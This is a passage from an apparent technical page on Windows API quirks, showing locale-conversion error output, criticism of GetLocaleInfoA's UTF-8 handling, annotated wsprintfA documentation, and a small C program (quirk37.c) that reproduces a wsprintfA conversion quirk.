of LCID 0x00007C3B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000783B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000743B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000743B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000703B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000703B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000243B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000243B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000203B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000203B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C3B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000183B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000183B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000143B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000103B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C3B 0x0000083B COUNTRY GetLocaleInfoW = 7: Ruoŧŧa UTF16LE » UTF8 = 9: Ruoŧŧa GetLocaleInfoA = 7: Ruotta UTF8 » UTF16LE = 7: Ruotta MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000083B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000043B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000438 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000438 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000042F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C2E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082E 0x0000042E COUNTRY GetLocaleInfoW = 7: Němska UTF16LE » UTF8 = 8: Němska GetLocaleInfoA = 7: Nemska UTF8 » UTF16LE = 7: Nemska MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042E 0x0000782C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » UTF8 = 12: Azərbaycan GetLocaleInfoA = 11: Az?rbaycan UTF8 » UTF16LE = 11: Az?rbaycan 0x0000782C LANGUAGE GetLocaleInfoW = 11: azərbaycan UTF16LE » UTF8 = 12: azərbaycan GetLocaleInfoA = 11: az?rbaycan UTF8 » UTF16LE = 11: az?rbaycan MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000742C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000742C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000082C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082C 0x0000042C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » UTF8 = 12: Azərbaycan GetLocaleInfoA = 11: Az?rbaycan UTF8 » UTF16LE = 11: Az?rbaycan 0x0000042C LANGUAGE GetLocaleInfoW = 11: azərbaycan UTF16LE » UTF8 = 12: azərbaycan GetLocaleInfoA = 11: az?rbaycan UTF8 » UTF16LE = 11: az?rbaycan 0x0000042A COUNTRY GetLocaleInfoW = 9: Việt Nam UTF16LE » UTF8 = 11: Việt Nam GetLocaleInfoA = 9: Vi?t Nam UTF8 » UTF16LE = 9: Vi?t Nam 0x0000042A LANGUAGE GetLocaleInfoW = 11: Tiếng Việt UTF16LE » UTF8 = 15: Tiếng Việt GetLocaleInfoA = 11: Ti?ng Vi?t UTF8 » UTF16LE = 11: Ti?ng Vi?t 0x00000429 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000429 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000429 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C28 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C28 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000428 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000428 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000427 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000426 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000424 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000423 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000423 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000422 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000422 0x00000820 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000820 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000820 0x00000420 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000420 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000420 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVEDIGITS of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00006C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00006C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000641A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000641A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000301A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000301A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000281A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000281A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000201A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000201A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000081A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000819 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000819 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000419 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000419 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000818 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000418 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000418 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000816 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000416 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C14 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000414 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000813 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000412 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000412 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000411 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000411 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000300C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000240C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000200C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00005C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000580A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000580A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000540A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000500A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000480A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000440A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000400A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000180A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000080A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000408 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000408 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C07 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000405 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000405 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001004 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001004 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000803 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000403 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000402 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000402 0x00004001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00004001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004001 0x00003C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C01 0x00003801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003801 0x00003401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003401 0x00003001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003001 0x00002C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C01 0x00002801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002801 0x00002401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002401 0x00002001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001001 0x00000C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C01 0x00000801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000801 0x00000401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000401 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH¹: here the output of substitution characters
?
is unexpected,
abnormal and erroneous behaviour!
OUCH²: in 260 cases the
MultiByteToWideChar()
function fails with Win32 error code 1113 alias
ERROR_NO_UNICODE_TRANSLATION
,
i.e. the
GetLocaleInfoA()
function returns invalid
UTF-8
in these 260 cases – a desastrous result!
OUCH³: in 41 cases the UTF-8 output differs from the UTF-16LE output.
OUCH⁴: in 8 of these 41 cases the
GetLocaleInfoA()
returns a character string only containing the
ASCII
substitution character ?
, i.e.
the
UTF-8
support in Windows’
National Language Support
functions is a very bad joke!
LCType
parameter which yield native
character strings, in particular
LOCALE_S1159
,
LOCALE_S2359
,
LOCALE_SABBREVDAYNAME*
,
LOCALE_SABBREVMONTHNAME*
,
LOCALE_SCURRENCY
,
LOCALE_SDAYNAME*
,
LOCALE_SLONGDATE
and
LOCALE_SMONTHNAME*
,
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
-A vs. -W APIs:
Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.The Win32 function
wsprintfA()
is documented in the
MSDN as
follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.Oops: this specification but fails to document the types[…]
[…]int wsprintfA( LPSTR lpOut, LPCSTR lpFmt, ... );
[…]
- lpOut [out]
- The buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
- lpFmt [in]
- The format-control specifications. In addition to ordinary ASCII characters, a format specification for each argument appears in this string. For more information about the format specification, see the Remarks section.
- ... [in]
- One or more optional arguments. The number and type of argument parameters depend on the corresponding format-control specifications in the lpFmt parameter.
If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
If the function fails, the return value is less than the length of the expected output. To get extended error information, call GetLastError.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values.
- […]
- ls, lS
- String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to ws.
lp
alias tp
alias wp
alias Ip
(all equivalent to p
),
tx
(equivalent to Ix
) and tX
(equivalent to IX
) for unsigned pointers in hexadecimal
notation, the types td
alias Id
alias
ti
alias Ii
for signed pointers in decimal
notation, the types tu
alias Iu
for
unsigned pointers in decimal notation, the types I32d
(equivalent to d
and ld
) alias
I32i
(equivalent to i
and li
)
for signed 32-bit integers in decimal notation, the type
I32u
(equivalent to u
and lu
)
for unsigned 32-bit integers in decimal notation, the types
I32x
(equivalent to x
and lx
)
and I32X
(equivalent to X
and
lX
) for 32-bit integers in hexadecimal notation, the
types I64d
alias I64i
for signed 64-bit
integers in decimal notation, the type I64u
for
unsigned 64-bit integers in decimal notation, the types
I64x
and I64X
for 64-bit integers in
hexadecimal notation, the types wc
alias
wC
(both equivalent to lc
and
lC
) for widecharacters, the type
wS
(equivalent to ws
, ls
and
lS
) for widecharacter strings, the types
wd
(equivalent to d
and ld
)
alias wi
(equivalent to i
and
li
) for signed 32-bit integers in decimal notation, the
type wu
(equivalent to u
and
lu
) for unsigned 32-bit integers in decimal notation,
plus the types wx
(equivalent to x
and
lx
) and wX
(equivalent to X
and lX
) for 32-bit integers in hexadecimal notation!
Size Specification
Strings
x64: Starting Out in 64-Bit Windows Systems with Visual C++
Create the text file quirk37.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define memset __stosb
#define wmemset __stosw
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szWide[1024];
CHAR szANSI[1024];
CHAR szQuirk[1024];
UINT uiQuirk;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
wmemset(szWide, L'€', 1023);
szWide[1023] = L'\0';
memset(szANSI, '€', 1023);
szANSI[1023] = '\0';
SetLastError(123456789);
uiQuirk = wsprintfA(szQuirk, "%ls", szWide);
if (uiQuirk != 1023)
PrintConsole(hConsole,
L"wsprintfA() returned %u\n"
L"GetLastError() returned %lu\n",
uiQuirk, dwError = GetLastError());
else if (strcmp(szQuirk, szANSI) == 0)
PrintConsole(hConsole,
L"wsprintfA() returned a string of %u \'%hc\' characters\n",
uiQuirk, *szQuirk);
else
PrintConsole(hConsole,
L"wsprintfA() returned a differing string \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk37.exe
from the
source file quirk37.c
created in step 1.:
